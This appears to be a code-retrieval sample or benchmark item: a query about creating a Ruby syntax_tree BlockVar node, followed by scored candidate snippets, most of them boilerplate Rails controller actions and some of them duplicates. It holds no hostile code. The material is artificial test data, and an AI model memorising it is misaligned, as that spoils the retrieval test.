[ { "docid": "59ff1435ccbb93de62c82ee03bd2d12e", "score": "0.7111783", "text": "def create\n @evenement = Evenement.new(params[:evenement])\n\n respond_to do |format|\n if @evenement.save\n format.html { redirect_to evenements_path, notice: 'Evenement was successfully created.' }\n format.json { render json: @evenement, status: :created, location: @evenement }\n else\n format.html { render action: \"new\" }\n format.json { render json: @evenement.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8bb6f199794d0f6180d15fa43e0565ce", "score": "0.6966691", "text": "def create\n establishment_new = New.new(new_params)\n\n if establishment_new.save!\n json_response(establishment_new)\n else\n json_response({ error: 'Error guardando noticia de establecimiento' }, :bad_request)\n end\n end", "title": "" }, { "docid": "5da16b2c91298b65822f602999d1754d", "score": "0.6940571", "text": "def new_stories\n get('/newstories.json')\n end", "title": "" }, { "docid": "31c8c5a421b4dbecf26238b1bf18fb49", "score": "0.68572587", "text": "def new\n @newse = Newse.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @newse }\n end\n end", "title": "" }, { "docid": "d89d88dcb488b2acf0e3af27a9893512", "score": "0.6796325", "text": "def new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: ''}\n end\n end", "title": "" }, { "docid": "c309e887ef8b36233f8d637a53eacf4e", "score": "0.6791441", "text": "def new\n @stay = Stay.new(params[:stay])\n if params[:new_stays_for_person]\n @stay.person_id = params[:new_stays_for_person]\n end\n if params[:new_stays_for_group]\n @stay.group_id = params[:new_stays_for_group]\n end\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stay }\n end\n end", "title": "" }, { "docid": "e309ebcfedf4aa4f5edd5971b8b2fc8f", "score": "0.67898244", "text": "def new\n @lending = Lending.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lending }\n end\n end", "title": "" }, { "docid": "943112fab45468869ae3a49b94eb615c", "score": "0.6755486", "text": "def new\n @reservation = Reservation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @reservation }\n end\n end", "title": "" }, { "docid": "943112fab45468869ae3a49b94eb615c", "score": "0.6755486", "text": "def new\n @reservation = Reservation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @reservation }\n end\n end", "title": "" }, { "docid": "943112fab45468869ae3a49b94eb615c", "score": "0.6755486", "text": "def new\n @reservation = Reservation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @reservation }\n end\n end", "title": "" }, { "docid": "943112fab45468869ae3a49b94eb615c", "score": "0.6755486", "text": "def new\n @reservation = Reservation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @reservation }\n end\n end", "title": "" }, { "docid": "943112fab45468869ae3a49b94eb615c", "score": "0.6755486", "text": "def new\n @reservation = Reservation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @reservation }\n end\n end", "title": "" }, { "docid": "943112fab45468869ae3a49b94eb615c", "score": "0.6755486", "text": "def new\n @reservation = Reservation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @reservation }\n end\n end", "title": "" }, { "docid": "80bada6e8ff648838a7ca21e811b07c9", "score": "0.6754417", "text": "def new\n @reservation = Reservation.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @reservation }\n end\n end", "title": "" }, { "docid": "0898fc6850b90da17b86f37e8d1733e9", "score": "0.6742596", "text": "def new\n @sale = Sale.new\n prepare_new_sale\n @page_title = t('actions.new_sale')\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sale }\n end\n end", "title": "" }, { "docid": "69bcd8aeda6da24d4bb26578ec3aedee", "score": "0.67410016", "text": "def new\n @emission = Emission.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @emission }\n end\n end", "title": "" }, { "docid": "98fdba64eb3b74c461105275a0919393", "score": "0.673651", "text": "def new\n @spread = Spread.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @spread }\n end\n end", "title": "" }, { "docid": "ad72a7a8f42270b84e52ebe6fc84358b", "score": "0.6729811", "text": "def new\n @table_reservation = TableReservation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @table_reservation }\n end\n end", "title": "" }, { "docid": "d1c6af2c2b12903d9c8734f333b270f6", "score": "0.67249715", "text": "def create\n @evenement = Evenement.new(evenement_params)\n\n respond_to do |format|\n if @evenement.save\n format.html { redirect_to @evenement, notice: 'Evenement was successfully created.' }\n format.json { render :show, status: :created, location: @evenement }\n else\n format.html { render :new }\n format.json { render json: @evenement.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a943f903b4efe467f6d8640bee4d994e", "score": "0.67223006", "text": "def new\n @sequent = Sequent.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sequent }\n end\n end", "title": "" }, { "docid": "e4338e29d9fa9607fdffda9b317cc4d9", "score": "0.67183656", "text": "def new\n @interaction_entity = InteractionEntity.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @interaction_entity }\n end\n end", "title": "" }, { "docid": "936a7d6d41bb802070064823ee494993", "score": "0.6715194", "text": "def new\n @committee = Committee.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @committee }\n end\n end", "title": "" }, { "docid": "88bd943e97f087d6a8db814339fa4e50", "score": "0.67150813", "text": "def new\n @night = Night.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @night }\n end\n end", "title": "" }, { "docid": "e747b6583e861cfe73b69f8041906cbe", "score": "0.67030525", "text": "def new\n @society = Society.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @society }\n end\n end", "title": "" }, { "docid": "93f783a430fbcd4d41f9e164c3313aeb", "score": "0.66987", "text": "def new\n @negociation = Negociation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @negociation }\n end\n end", "title": "" }, { "docid": "e5d9d6e37941da3134c3388df157fc55", "score": "0.6689698", "text": "def new\n @evenement = Evenement.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @evenement }\n end\n end", "title": "" }, { "docid": "e5d9d6e37941da3134c3388df157fc55", "score": "0.6689698", "text": "def new\n @evenement = Evenement.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @evenement }\n end\n end", "title": "" }, { "docid": "cdf8fe4b60ede0e51d9571bf815dd68d", "score": "0.668885", "text": "def new\n @dell = Dell.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @dell }\n end\n end", "title": "" }, { "docid": "16ee7d0f9f10e3035e98e5a9b05da231", "score": "0.6678764", "text": "def new\n @equipament = Equipament.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @equipament }\n end\n end", "title": "" }, { "docid": "bed9c3659f0e7665fd30e53b19635f77", "score": "0.6674779", "text": "def new\n @equipment = Equipment.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @equipment }\n end\n end", "title": "" }, { "docid": "8a7c165e9037275c6985a24c82e44c60", "score": "0.66746145", "text": "def new\n @lease = Lease.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lease }\n end\n end", "title": "" }, { "docid": "8a7c165e9037275c6985a24c82e44c60", "score": "0.66746145", "text": "def new\n @lease = Lease.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lease }\n end\n end", "title": "" }, { "docid": "9f74ddb9fa9d310da48afde34230a687", "score": "0.66703004", "text": "def new\n @back = \"new\"\n @boton = \" Agregar asistente\"\n @assistant = Assistant.new\n @booking = Booking.find(params[:booking_id])\n @day = params[:day]\n @month = params[:month]\n @year = params[:year]\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @assistant }\n end\n end", "title": "" }, { "docid": "0793649ecedca637879d38f70129af07", "score": "0.66692185", "text": "def new\n @sale_day = SaleDay.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sale_day }\n end\n end", "title": "" }, { "docid": "d165699f48be72249078b48a8f51fca1", "score": "0.6667848", "text": "def new\n @entity = Entity.new\n\n render json: @entity\n end", "title": "" }, { "docid": "7b689672fb051affca32a268fdcb4736", "score": "0.6666203", "text": "def new\n\tuuid = SecureRandom.uuid\n\t@new_url = searches_url + \"/\" + uuid # creates http://localhost/search/123-34552-adsfrjha-234\n\tresponse.set_header(\"Location\", @new_url)\n respond_to do |format|\n format.html { render :new, status: 201 }\n format.json { render :new, status: 201 }\n format.jsonld { render :new, formats: :json, status: 201 }\n end\n\t\n end", "title": "" }, { "docid": "9ff2fc8c39d17f096911953379bc9efd", "score": "0.66603965", "text": "def new\n @equipment = Equipment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @equipment }\n end\n end", "title": "" }, { "docid": "9ff2fc8c39d17f096911953379bc9efd", "score": "0.66603965", "text": "def new\n @equipment = Equipment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @equipment }\n end\n end", "title": "" }, { "docid": "9ff2fc8c39d17f096911953379bc9efd", "score": "0.66603965", "text": "def new\n @equipment = Equipment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @equipment }\n end\n end", "title": "" }, { "docid": "37c2be76ade5023527d2c5ec647e5234", "score": "0.6658523", "text": "def new\n @reservations_table = ReservationsTable.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @reservations_table }\n end\n end", "title": "" }, { "docid": "73f27127f4007e49a0cb61ebb68db47c", "score": "0.6656123", "text": "def new\n @after_intership = AfterIntership.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @after_intership }\n end\n end", "title": "" }, { "docid": "1df73408b2469709fababb750cee72a0", "score": "0.66501415", "text": "def new\n @depot = Depot.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @depot }\n end\n end", "title": "" }, { "docid": "b6b6a8237a6ca455d8dc147cb1236b08", "score": "0.6644784", "text": "def new\n @endorsement = Endorsement.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @endorsement }\n end\n end", "title": "" }, { "docid": "1f84fb6f12620667f381be201355e87c", "score": "0.6644373", "text": "def new\n @society = Society.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @society }\n end\n end", "title": "" }, { "docid": "3b521a5dc4e9b0c5a84911bd81247573", "score": "0.6644254", "text": "def new\n @estacion = Estacion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @estacion }\n end\n end", "title": "" }, { "docid": "b41a2dda8a1e039081095265afd3e35c", "score": "0.66440153", "text": "def create\n @evenement = Evenement.new(evenement_params)\n\n respond_to do |format|\n if @evenement.save\n format.html { redirect_to @evenement, notice: \"Evenement was successfully created.\" }\n format.json { render :show, status: :created, location: @evenement }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @evenement.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9a6850ba2e6f9fa08e395f35cd4bd0a8", "score": "0.66436154", "text": "def new\n @night_audit = NightAudit.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @night_audit }\n end\n end", "title": "" }, { "docid": "112803d434eea10bec048d41277d7416", "score": "0.66354984", "text": "def new\n @crest = Crest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @crest }\n end\n end", "title": "" }, { "docid": "7ebd53adaefc41ae8a57e79a3958c77b", "score": "0.66305053", "text": "def new\n @individual = Individual.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @individual }\n end\n end", "title": "" }, { "docid": "99d2d3a1fe74caf60dc73034fc31d3a9", "score": "0.66279936", "text": "def new\n @rent = Rent.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @rent }\n end\n end", "title": "" }, { "docid": "99d2d3a1fe74caf60dc73034fc31d3a9", "score": "0.66279936", "text": "def new\n @rent = Rent.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @rent }\n end\n end", "title": "" }, { "docid": "ff1564a039eafa4e5dbc65cae9c2f2d5", "score": "0.66274357", "text": "def new\n # @sell = Sell.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sell }\n end\n end", "title": "" }, { "docid": "924ac79a7bc2c467696f2cb177ade131", "score": "0.66265357", "text": "def new\n @history_equipment = HistoryEquipment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @history_equipment }\n end\n end", "title": "" }, { "docid": "acaef71d7e6c15fefa4cdd0cb0a56794", "score": "0.6626106", "text": "def new\n @creation = Creation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @creation }\n end\n end", "title": "" }, { "docid": "a9de83f0e823806544d9255efd05d132", "score": "0.6620489", "text": "def new\n @new_item = NewItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @new_item }\n end\n end", "title": "" }, { "docid": "284d05c662f4c351913f3503bab9ec7a", "score": "0.66161156", "text": "def create\n @newse = Newse.new(params[:newse])\n\n respond_to do |format|\n if @newse.save\n format.html { redirect_to newses_path, notice: t('newses.successfully_created') }\n format.json { render json: @newse, status: :created, location: @newse }\n else\n format.html { render action: \"new\" }\n format.json { render json: @newse.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5012af7c000c5e2cb441a129d3788a73", "score": "0.6616106", "text": "def new\n @lecture_day = LectureDay.new\n #@course = Course.find_by_id(session[:course_id])\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lecture_day }\n end\n end", "title": "" }, { "docid": "7e8b29873a00ce3399481e87a7e1b09a", "score": "0.6615911", "text": "def new\n @title = t('view.assistances.new_title')\n @assistance = Assistance.new\n @partner = Partner.new\n @assistance.partner = @partner\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @assistance }\n end\n end", "title": "" }, { "docid": "3b1c4d3d669702776cf03a570a0b4777", "score": "0.6611692", "text": "def new\n @individual = Individual.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @individual }\n end\n end", "title": "" }, { "docid": "f035008d1c333a89b623664551f1ab1f", "score": "0.6608442", "text": "def new\n @section = Section.new(:schoolyear_id => Schoolyear.current.id)\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @section }\n end\n end", "title": "" }, { "docid": "44e1427c9b791ce50101baa056b9341a", "score": "0.6603267", "text": "def new\n @spaceforlease = Spaceforlease.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @spaceforlease }\n end\n end", "title": "" }, { "docid": "c6de0c829e4a7409971a045dd21657ad", "score": "0.6600047", "text": "def new\n @estampado = Estampado.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @estampado }\n end\n end", "title": "" }, { "docid": "1d5ef4906c3a944ca10a637b222d0c94", "score": "0.6599146", "text": "def new\n @especial_news = EspecialNew.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @especial_news }\n end\n end", "title": "" }, { "docid": "bab8496664d827d20a59450bae5340be", "score": "0.65936625", "text": "def new\n @involvement = Involvement.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @involvement }\n end\n end", "title": "" }, { "docid": "5485acfc1c77e019b55036f6197febaa", "score": "0.6593553", "text": "def new\n @establish = Establish.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @establish }\n end\n end", "title": "" }, { "docid": "98f41a8ceac18d247c3ea539c3abbcb8", "score": "0.6592236", "text": "def new\n @event = @society.events.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "d7fa280265c90c6ccdba0791cfcaf06b", "score": "0.658859", "text": "def new\n @situation_teaching_equipament = SituationTeachingEquipament.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @situation_teaching_equipament }\n end\n end", "title": "" }, { "docid": "2fd5f276aa59721e69d8cc1debdce1aa", "score": "0.6581778", "text": "def new\n @incident = Incident.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @incident }\n end\n end", "title": "" }, { "docid": "2428e16801eec3efe4f8b1f20c151b43", "score": "0.65761846", "text": "def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entity }\n end\n end", "title": "" }, { "docid": "3ce57e91986c3eb2864e3f13a72a4486", "score": "0.65741634", "text": "def new\n @venture = Venture.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @venture }\n end\n end", "title": "" }, { "docid": "a27784224d527e1ab1317f0e469cc5a8", "score": "0.6567839", "text": "def new\n @celestial_entity = CelestialEntity.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @celestial_entity }\n end\n end", "title": "" }, { "docid": "6d185ce957f74fe1b877521bde68efc9", "score": "0.6566366", "text": "def create\n @evenement = Evenement.new(params[:evenement])\n\n respond_to do |format|\n if @evenement.save\n format.html { redirect_to(@evenement, :notice => 'Evenement was successfully created.') }\n format.xml { render :xml => @evenement, :status => :created, :location => @evenement }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @evenement.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "804b0545663b9c931adba4eee10a22b3", "score": "0.65652806", "text": "def new\n @ntee = Ntee.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @ntee }\n end\n end", "title": "" }, { "docid": "92a056a81e289297f835d5e7b2a20e2e", "score": "0.6564911", "text": "def new\n @new_table = NewTable.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @new_table }\n end\n end", "title": "" }, { "docid": "2dfc2bb805c8346acb37567aa0a8536a", "score": "0.6559269", "text": "def new\n @sale = Sale.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sale }\n end\n end", "title": "" }, { "docid": "2dfc2bb805c8346acb37567aa0a8536a", "score": "0.6559269", "text": "def new\n @sale = Sale.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sale }\n end\n end", "title": "" }, { "docid": "2dfc2bb805c8346acb37567aa0a8536a", "score": "0.6559269", "text": "def new\n @sale = Sale.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sale }\n end\n end", "title": "" }, { "docid": "4a907fbe5d9fc5a00b99c0613e35d0b2", "score": "0.6554085", "text": "def new\n @expend_event = ExpendEvent.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @expend_event }\n end\n end", "title": "" }, { "docid": "4d6ab869f5c33e8747bbc109df04a33d", "score": "0.65512407", "text": "def new\n load_committee_new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: [@committee, @committee_member] }\n end\n end", "title": "" }, { "docid": "068b4c394d27faafad95e8b39e7c2ce8", "score": "0.65435624", "text": "def new\n @studentorg = Studentorg.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @studentorg }\n end\n end", "title": "" }, { "docid": "4518ce08c9ac00107f00b1f7952a30ce", "score": "0.6540352", "text": "def new\n @outcome = Outcome.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @outcome }\n end\n end", "title": "" }, { "docid": "4518ce08c9ac00107f00b1f7952a30ce", "score": "0.6540352", "text": "def new\n @outcome = Outcome.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @outcome }\n end\n end", "title": "" }, { "docid": "4e051c517579ce76cbc18a77ffb7870b", "score": "0.65399146", "text": "def new\n @lab_seat = LabSeat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lab_seat }\n end\n end", "title": "" }, { "docid": "fbc140868a01dfd53cef7a65bf065a8d", "score": "0.65397805", "text": "def new\n @roomreserf = Roomreserve.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @roomreserf }\n end\n end", "title": "" }, { "docid": "7231ff5091beb18b8cff423e02984c5e", "score": "0.6537957", "text": "def new\n @observation = @school.observations.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @observation }\n end\n end", "title": "" }, { "docid": "f27898e883912616f5dd81020a35a9bb", "score": "0.6537467", "text": "def new\n @inventario = Inventario.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @inventario }\n end\n end", "title": "" }, { "docid": "7b596681bf76189d66fd896cadf0a2e7", "score": "0.65368605", "text": "def new\n @neighborhood_thought = NeighborhoodThought.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @neighborhood_thought }\n end\n end", "title": "" }, { "docid": "faf22131ca112501dc8a27fb9358abc8", "score": "0.65264976", "text": "def new\n @soon = Soon.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @soon }\n end\n end", "title": "" }, { "docid": "4d539184766c4651a08111ea8dc1d16c", "score": "0.65264744", "text": "def new\n @nation = Nation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @nation }\n end\n end", "title": "" }, { "docid": "b109f973fb032ca7d817a4df4411ebfe", "score": "0.65204096", "text": "def new\n @narration = Narration.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @narration }\n end\n end", "title": "" }, { "docid": "d74792ef792a5b45af71d15ef68bbf9a", "score": "0.6520262", "text": "def new\n @equipo = Equipo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @equipo }\n end\n end", "title": "" }, { "docid": "a0f632a762cd09a7e650ac9850eae7d6", "score": "0.651228", "text": "def new\n @available = Available.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @available }\n end\n end", "title": "" }, { "docid": "b937f04f118c1f613fd9b05bd9796a00", "score": "0.6511799", "text": "def create\n @evenement = Evenement.new(params[:evenement])\n\n respond_to do |format|\n if @evenement.save\n flash[:notice] = 'Evenement was successfully created.'\n format.html { redirect_to(@evenement) }\n format.xml { render :xml => @evenement, :status => :created, :location => @evenement }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @evenement.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bbbe208e2be7ee1ae6f046d9f3790352", "score": "0.6508862", "text": "def new\n @equipmenttype = Equipmenttype.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @equipmenttype }\n end\n end", "title": "" }, { "docid": "2b17fae0166d090de2ccbd8bf677fb0c", "score": "0.65060616", "text": "def new\n @entrevista = Entrevista.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entrevista }\n end\n end", "title": "" }, { "docid": "7ccddab3c07db3a082042437d0264891", "score": "0.65058434", "text": "def new\n @workshop = Workshop.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @workshop }\n end\n end", "title": "" }, { "docid": "7ccddab3c07db3a082042437d0264891", "score": "0.65058434", "text": "def new\n @workshop = Workshop.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @workshop }\n end\n end", "title": "" }, { "docid": "74c32613de8549e3d4c4875ffb4c1c95", "score": "0.6504242", "text": "def new\n @sp_earning = SpEarning.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sp_earning }\n end\n end", "title": "" }, { "docid": "3f784a10196ccbf088f98b807e00e4a4", "score": "0.6502236", "text": "def new\n @residency = Residency.new\n @title = 'New Residency'\n @description = 'Add residency information'\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @residency }\n end\n end", "title": "" }, { "docid": "1fe7a0eb754b891d211533173d6ae2a7", "score": "0.65016794", "text": "def new\n\t\n\t\t\n\t\trender json: {}\n\tend", "title": "" } ]
8ca211fa16bdd9ad15d08145bdc90ce5
Create a new BlockVar node. source://syntax_tree//lib/syntax_tree/dsl.rb149
[ { "docid": "e14336bf6d569038bbe19e4c6db001d2", "score": "0.70111054", "text": "def BlockVar(params, locals); end", "title": "" } ]
[ { "docid": "bd95d9d636d26e4d02f944296697e128", "score": "0.7741352", "text": "def visit_block_var(node); end", "title": "" }, { "docid": "2ffa0128f5fe9486ea668d83d27931b9", "score": "0.7212395", "text": "def BlockVar(params, locals)\n BlockVar.new(params: params, locals: locals, location: Location.default)\n end", "title": "" }, { "docid": "1903c2e0b202d93ca0d570e80b8ffa33", "score": "0.71768236", "text": "def BlockNode(opening, block_var, bodystmt)\n BlockNode.new(\n opening: opening,\n block_var: block_var,\n bodystmt: bodystmt,\n location: Location.default\n )\n end", "title": "" }, { "docid": "a4727132c96541e82c912b0ad68258a5", "score": "0.71444136", "text": "def BlockNode(opening, block_var, bodystmt); end", "title": "" }, { "docid": "6ee3a832290244df548ae96067b4076d", "score": "0.6772857", "text": "def visit_block_var(node)\n node.copy(params: visit(node.params), locals: visit_all(node.locals))\n end", "title": "" }, { "docid": "6e14a104381ad0272136a25cd84e3226", "score": "0.671826", "text": "def variable_node; end", "title": "" }, { "docid": "4e1ccaffacf32c782641e262fb7c93cf", "score": "0.66845375", "text": "def create_variable(var_name)\n ::Sass::Script::Tree::Variable.new(var_name).tap do |v|\n v.line = line # Use line number of the containing parse tree node\n end\n end", "title": "" }, { "docid": "d5d3291953310545453b4268872b5949", "score": "0.6641807", "text": "def visit_block_var(node)\n shadowargs =\n node.locals.map do |local|\n s(\n :shadowarg,\n [local.value.to_sym],\n smap_variable(srange_node(local), srange_node(local))\n )\n end\n\n params = node.params\n children =\n if ::Parser::Builders::Default.emit_procarg0 && node.arg0?\n # There is a special node type in the parser gem for when a single\n # required parameter to a block would potentially be expanded\n # automatically. We handle that case here.\n required = params.requireds.first\n procarg0 =\n if ::Parser::Builders::Default.emit_arg_inside_procarg0 &&\n required.is_a?(Ident)\n s(\n :procarg0,\n [\n s(\n :arg,\n [required.value.to_sym],\n smap_variable(\n srange_node(required),\n srange_node(required)\n )\n )\n ],\n smap_collection_bare(srange_node(required))\n )\n else\n child = visit(required)\n s(:procarg0, child, child.location)\n end\n\n [procarg0]\n else\n visit(params).children\n end\n\n s(\n :args,\n children + shadowargs,\n smap_collection(\n srange_length(node.start_char, 1),\n srange_length(node.end_char, -1),\n srange_node(node)\n )\n )\n end", "title": "" }, { "docid": "7e36b245145898742e49c00387ded9a5", "score": "0.6471662", "text": "def newvar name, body\n v = NewVar.new(name, body)\n @lookup[name] = v\n end", "title": "" }, { "docid": "10eb56a6ef9ae01b9172dd0a4186c359", "score": "0.6406095", "text": "def with_var(upper = nil)\n # puts \"with_var for #{self} with upper=#{upper}\"\n # Recurse on the statements.\n new_stmnts = []\n self.each_statement do |stmnt|\n # Process stmnt\n if stmnt.respond_to?(:with_var) then\n # Can be converted\n stmnt = stmnt.with_var(self)\n else\n # Cannot be converted, simply clone.\n stmnt = stmnt.clone\n end\n # Adds the result.\n new_stmnts << stmnt\n end\n # Handle the cases that does not need directly a variable\n # convertion\n # Is the block a par?\n if self.mode == :par then\n # Yes, creates a new block with the new statements.\n block = Block.new(self.mode)\n self.each_inner { |inner| block.add_inner(inner.clone) }\n new_stmnts.each {|stmnt| block.add_statement(stmnt) }\n # Is the block within a seq?\n if upper && upper.mode == :seq then\n # Yes, converts to seq.\n # return self.to_seq\n return block.blocks2seq!\n end\n # No, simply return the block.\n # block = self.clone\n return block\n end\n\n # The block is a seq, convert it.\n # Treat the block\n sym2var = {} # The table of variable by corresponding signal name\n # Generate and replace the variables\n new_stmnts.each do |stmnt|\n unless stmnt.is_a?(Transmit) then\n # The statement is not a transmission, extract the\n # variables that correspond to external signals.\n extract_from_externals!(stmnt,sym2var)\n else \n # Other case: transmission, the left value is to convert\n # to a variable, and the right values are to be updated\n # with the existing variables.\n # First convert the left value to the corresponding symbol.\n sym = stmnt.left.to_sym\n # puts \"sym=#{sym}\"\n var = sym2var[sym]\n unless var then\n var = SignalI.new(sym2var_name(sym),stmnt.left.type)\n sym2var[sym] = var\n end\n # Then replace the relevant references by corresponding\n # variables\n refs_by_variables!(stmnt,sym2var)\n end\n end\n # puts \"sym2var=#{sym2var}\"\n # Declare the variables in the top block.\n top = self.top_block\n # puts \"top=#{top}\"\n sym2var.each_value do |var|\n # puts \"Adding var=#{var.name}\"\n top.add_inner(var.clone) unless top.each_inner.find {|v| v.eql?(var) }\n end\n # Generate the new block.\n result = self.class.new(self.mode,self.name)\n # Adds the inner signals of current block.\n self.each_inner do |inner|\n result.add_inner(inner.clone)\n end\n # Adds the new statements.\n new_stmnts.each do |stmnt|\n result.add_statement(stmnt)\n end\n # Adds final statements assigning variables back to the orginal\n # signals.\n sym2var.each do |sym,var|\n result.add_statement(\n Transmit.new(sym.to_hdr.clone,var2ref(var)))\n end\n # End of the conversion.\n return result\n end", "title": "" }, { "docid": "71382cdabd0c4a3527ed15b61de57bbd", "score": "0.6339202", "text": "def block_def_node\n if @ast == nil\n # Get array of block parameter names\n block_params = block.parameters.map do |param|\n param[1]\n end\n\n parser_local_vars = command_binding.local_variables + block_params\n source = Parsing.parse_block(block, parser_local_vars)\n @ast = AST::BlockDefNode.new(\n parameters: block_params,\n ruby_block: block, # necessary to get binding\n body: AST::HostSectionBuilder.from_parser_ast(source))\n end\n\n return @ast\n end", "title": "" }, { "docid": "ddfd2e91982cffb52544b5aa5eb6dec3", "score": "0.6308117", "text": "def on_block_var(params, locals)\n index =\n tokens.rindex { |node| node.is_a?(Op) && %w[| ||].include?(node.value) }\n\n ending = tokens.delete_at(index)\n beginning = ending.value == \"||\" ? ending : consume_operator(:|)\n\n # If there are no parameters, then we didn't have anything to base the\n # location information of off. Now that we have an opening of the\n # block, we can correct this.\n if params.empty?\n start_line = params.location.start_line\n start_char =\n (\n if beginning.value == \"||\"\n beginning.location.start_char\n else\n find_next_statement_start(beginning.location.end_char)\n end\n )\n\n location =\n Location.fixed(\n line: start_line,\n char: start_char,\n column: start_char - line_counts[start_line - 1].start\n )\n\n params = params.copy(location: location)\n end\n\n BlockVar.new(\n params: params,\n locals: locals || [],\n location: beginning.location.to(ending.location)\n )\n 